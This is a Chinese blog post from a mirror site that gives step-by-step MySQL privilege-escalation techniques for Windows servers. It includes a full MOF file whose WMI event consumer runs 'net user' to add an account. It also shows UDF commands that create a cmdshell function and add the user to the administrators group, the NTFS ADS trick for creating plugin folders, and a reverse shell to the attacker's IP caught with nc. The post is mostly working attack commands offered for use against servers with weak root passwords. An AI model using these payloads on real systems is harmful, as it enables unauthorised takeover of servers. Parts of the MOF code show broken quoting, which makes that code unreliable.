zoukankan      html  css  js  c++  java
  • mysql提权总结

    一、mof提权

      windows管理规范提供了以下三种方法编译到WMI存储库的托管对象格式(MOF)文件:

      1、运行MOF文件指定为命令行参数讲Mofcomp.exe文件。

      2、使用IMofCompiler接口和$CompileFile方法。

      3、拖放到%SystemRoot%System32WbemMOF文件夹的MOF文件。

      Micrsoft建议您到存储库编译MOF文件使用前两种方法。也就是运行Mofcomp.exe文件或使用IMofCompiler:CompileFile方法。

      第三种方法仅为后兼容性与早期版本的WMI提供,并因为此功能可能不会提供在将来的版本。

      具体到mysql提权中,我们该怎么利用?

      1、找一个可写目录上传mof文件,这里我们上传到了C:/wmpub/nullevt.mof,代码如下:

       其中第18行,上传前请自己更改。

     1 #pragma namespace("\\.\root\subscription")
     2 
     3 instance of __EventFilter as $EventFilter
     4 {
     5     EventNamespace = "Root\Cimv2";
     6     Name  = "filtP2";
     7     Query = "Select * From __InstanceModificationEvent "
     8             "Where TargetInstance Isa "Win32_LocalTime" "
     9             "And TargetInstance.Second = 5";
    10     QueryLanguage = "WQL";
    11 };
    12 
    13 instance of ActiveScriptEventConsumer as $Consumer
    14 {
    15     Name = "consPCSV2";
    16     ScriptingEngine = "JScript";
    17     ScriptText =
    18     "var WSH = new ActiveXObject("WScript.Shell")
    WSH.run("net.exe user waitalone waitalone.cn /add")";
    19 };
    20 
    21 instance of __FilterToConsumerBinding
    22 {
    23     Consumer   = $Consumer;
    24     Filter = $EventFilter;
    25 };

      2、执行load_file及into dumpfile把文件导出到正确的位置即可。

       1 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' 

      执行成功后,即可添加一个普通用户,然后可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接就可以了。


    二、利用UDF提权

    功能:利用mysql自定义函数功能,将mysql的账号转化为system权限。 适用场景:1、目标系统是windows(win2000, XP,Win2003);2、拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限和抛弃函数。 3、首先判断mysql版本,如果大于5.1的话,就直接上传udf.dll到MySQLLibPlugin文件夹下,一般Lib、Plugin文件夹需要手工建立,mysql路径可以用select @@datadir语句找出。 4、直接执行create function sys_eval returns string soname 'udf.dll',若成功则可直接执行命令。

      udf提权也是最常见的提权方式。但是往往再执行过程中老是遇到"Can't open shared library"的情况,这里可以利用NTFS ADS流来解决这个问题。

      1、最常见的是直接使用udf.php此类的工具来执行udf提权。

      连接mysql以后,先导出udf.dll到c:windowssystem32目录下。

      2、创建相应的函数并执行命令,具体如下:

    1 create function cmdshell returns string soname 'udf.dll';
    2 select cmdshell('net user waitalone waitalone.cn /add');
    3 select cmdshell('net localgroup administrators waitalone /add');
    4 drop function cmdshell; 删除函数
    5 delete from mysql.func where name='cmdshell'  删除函数

       3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默默情况下

      plugin不存在,怎么办?还好有大牛研究出利用NTFS ADS流来创建文件夹的方法:

    select @@basedir;   
    //查找到mysql的目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';   
    //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
    //利用NTFS ADS创建plugin目录

      执行成功以后再进行导出即可。


    三、反弹端口连接提权

      假设我们扫到一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法getshell,这时我们怎么办?

      1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。(mysql.txt暂时没有)

    mysql.exe -h 172.16.10.11 -uroot -p
    Enter password:
    mysql> . c:mysql.txt
    mysql>select backshell("YourIP",2010);
    

      2、本地监听你反弹的端口

      nc.exe -vv -l -p 2010

      成功后,你将获得一个system权限的cmdshell,其实这个也是利用UFDF提权。

  • 相关阅读:
    1+x LNMP + WordPress
    1+X Samba
    1+X NFS
    1+x FTP
    1+x LVM
    笔记(全)
    前端性能优化整理总结
    Event Loop我知道,宏任务微任务是什么鬼?
    深入探讨深拷贝浅拷贝两兄弟
    react后台管理系统路由方案及react-router原理解析
  • 原文地址:https://www.cnblogs.com/blacksunny/p/9114122.html
Copyright © 2011-2022 走看看